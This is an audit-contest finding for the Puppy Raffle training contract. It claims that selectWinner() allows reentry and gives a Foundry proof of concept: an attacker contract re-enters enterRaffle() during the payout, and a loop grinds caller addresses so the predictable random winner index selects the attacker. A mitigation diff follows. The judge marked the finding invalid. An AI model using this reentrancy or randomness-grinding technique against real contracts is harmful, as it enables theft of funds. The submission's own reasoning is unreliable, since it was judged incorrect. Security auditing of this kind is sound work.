Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: low
Likelihood: low
Invalid

`selectWinner()` does not follow a strict CEI / pull-payments pattern.

Root + Impact

Description

  • `selectWinner()` transfers ETH using `winner.call{value: prizePool}("")` which executes arbitrary code on the winner.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Impact:

  • Harder to reason about and increases attack surface.

Proof of Concept

Place the following test and helper contract into `PuppyRaffleTest.t.sol`.
```solidity
contract ReenteringWinner {
PuppyRaffle raffle;
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
}
receive() external payable {
// Re-enter during payout: become the first player of the *next* raffle
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: raffle.entranceFee()}(players);
}
}
function test_selectWinner_externalCallAllowsReentryIntoEnterRaffle() public {
PuppyRaffle raffle = new PuppyRaffle(1 ether, address(123), 0);
ReenteringWinner rw = new ReenteringWinner(raffle);
// Enter 4 players including the reentering contract
address[] memory players = new address[](4);
players[0] = address(rw);
players[1] = address(1);
players[2] = address(2);
players[3] = address(3);
vm.deal(address(this), 4 ether);
raffle.enterRaffle{value: 4 ether}(players);
// Pick a caller address that makes winnerIndex == 0 (so rw wins)
address caller;
vm.warp(1_000);
for (uint256 i = 10; i < 10_000; i++) {
address candidate = address(uint160(i));
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(candidate, block.timestamp, block.difficulty))
) % 4;
if (winnerIndex == 0) {
caller = candidate;
break;
}
}
assertTrue(caller != address(0));
vm.prank(caller);
raffle.selectWinner();
// Even though selectWinner() deletes players, rw re-enters during payout and adds itself back
// so the next raffle starts with rw already entered.
assertEq(raffle.players(0), address(rw));
}

Recommended Mitigation

Use pull-payments for prize claims or apply a strict CEI flow.
If keeping push-payments, prevent re-entry into `enterRaffle()` while a winner is being selected.
```diff
+ bool private selectingWinner;
@@
function enterRaffle(address[] memory newPlayers) public payable {
+ require(!selectingWinner, "PuppyRaffle: selecting winner");
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
@@
function selectWinner() external {
+ selectingWinner = true;
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
@@
_safeMint(winner, tokenId);
+ selectingWinner = false;
}
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!